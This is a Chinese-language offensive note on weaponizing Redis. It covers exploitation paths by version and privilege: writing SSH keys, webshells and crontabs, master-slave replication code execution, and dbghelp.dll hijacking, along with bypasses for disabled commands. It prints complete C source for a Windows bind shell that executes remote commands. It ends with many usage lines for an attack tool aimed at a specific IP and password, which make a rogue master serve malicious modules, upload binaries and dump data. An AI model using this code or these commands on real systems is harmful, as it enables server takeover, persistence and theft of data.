Redis 武器化工具
前言：感谢rdt师傅帮助总结，一起对应写了一个工具进行使用，这边简单记录下笔记情况
参考文章：https://xz.aliyun.com/t/7974
参考文章：https://xz.aliyun.com/t/14455
参考文章：https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt
参考文章：https://github.com/Hel10-Web/Databasetools
参考文章：https://www.cnblogs.com/sup3rman/p/16803408.html
参考文章：https://xz.aliyun.com/t/11198
参考文章：https://github.com/yannh/redis-dump-go
参考文章：https://cloud.tencent.com/developer/article/2422977
Windows 常规 2.x 3.x
- 可主从复制
- 可DLL劫持
Windows 常规 4.x 5.x
- 可主从复制
- 可DLL劫持
- 可主从命令执行
Linux 常规4.x / 5.x
高权限
- 可写sshkey
- 可写webshell
- 可主从命令执行
- 可主从复制
低权限
- 可写webshell
- 可主从命令执行
- 可主从复制
Linux 常规6.x
高权限
- 可写sshkey
- 可写webshell
- 可主从复制
低权限
- 可写webshell
- 可主从复制
注意事项
- save命令被禁用，通过bgsave命令绕过
save -> bgsave
- 高冗余数据写入数据出现问题，rdbcompression设置解决
config set rdbcompression no
- 4.x 5.x redis版本情况下，如果config命令被禁用，通过主从攻击写默认文件dump.rdb直接加载动态链接库进行绕过
rename-command CONFIG ""
-
主从利用前备份数据，后续利用完进行恢复，参考redisdump项目pkg/redisdump/redisdump.go:152
-
redis可能缓存相关shiro key、反序列化键值对，敏感数据
- redis windows 不出网的情况下，可以本地监听，然后telnet连接进行命令执行
注意：可能有同学会问劫持dbghelp.dll重启之后redis无法运行的问题，这个问题其实只要做好dbghelp的转发函数即可解决
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib") //Winsock Library
#define BUF_SIZE 1024
int main(int argc, char* argv[])
{
WSADATA wsa;
SOCKET s, new_socket;
struct sockaddr_in server, client;
int c;
char buffer[BUF_SIZE];
FILE* pipe;
char result[BUF_SIZE];
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
printf("Failed. Error Code : %d", WSAGetLastError());
return 1;
}
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("Could not create socket : %d", WSAGetLastError());
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(12345);
if (bind(s, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
{
printf("Bind failed with error code : %d", WSAGetLastError());
}
listen(s, 1);
puts("Waiting for incoming connections...");
c = sizeof(struct sockaddr_in);
while ((new_socket = accept(s, (struct sockaddr*)&client, &c)) != INVALID_SOCKET)
{
puts("Connection accepted");
// Handle multiple commands
while (1) {
memset(buffer, 0, sizeof(buffer)); // Reset buffer
int recv_size;
unsigned char inIACSeq = 0; // Add state flag for IAC sequence.
bool flag = false;
if ((recv_size = recv(new_socket, buffer, BUF_SIZE, 0)) <= 0) {
printf("Client disconnected or an error occurred.\n");
break;
}
for (int i = 0; i < recv_size; i++) {
unsigned char ch = buffer[i];
if (ch == 255) { // IAC
inIACSeq = 1;
}
else if (inIACSeq) {
if (ch == 244) { // IP
printf("Ctrl+C received. Closing connection...\n");
flag = true;
break;
}
inIACSeq = 0; // Reset state flag.
}
}
// deal IAC
if (flag){
break;
}
// Handle Ctrl+C from client and "exit" command.
if (strcmp(buffer, "exit\r\n") == 0 || strcmp(buffer, "exit\n") == 0) {
printf("Ctrl+C received or 'exit' command received. Closing connection...\n");
send(new_socket, "Shell Session Quit!\n", strlen("Shell Session Quit!\n"), 0);
break;
}
printf("Received command: %s\n", buffer);
pipe = _popen(buffer, "r");
if (pipe == NULL) {
printf("Error!\n");
send(new_socket, "Error!\n", strlen("Error!\n"), 0);
continue;
}
while (fgets(result, sizeof(result), pipe) != NULL) {
send(new_socket, result, strlen(result), 0);
}
_pclose(pipe);
}
}
if (new_socket == INVALID_SOCKET)
{
printf("accept failed with error code : %d", WSAGetLastError());
return 1;
}
closesocket(s);
WSACleanup();
return 0;
}
武器化
Use Example:
./titan_agent_linux cli --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX
./titan_agent_linux cli --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --gbk
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --sshkey
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --sshkey --lfile public.pub
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --shell --lfile shell.txt
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --crontab --lfile cron.txt
./titan_agent_linux lua --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --cmd id
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --hijack --lfile dbghelp.dll --gbk
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --cmd id --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --cmd id --lfile defender.so --rpath /tmp/ --rfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --lfile defender.so --rpath /tmp/ --rfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --bypass --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --sshkey
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --sshkey --lfile public.pub
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --crontab --lfile cron.txt
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --upload --lfile busybox-i686 --rpath /tmp/ --rfile busybox-i686
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --export
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --export --count 100
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --import
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --search
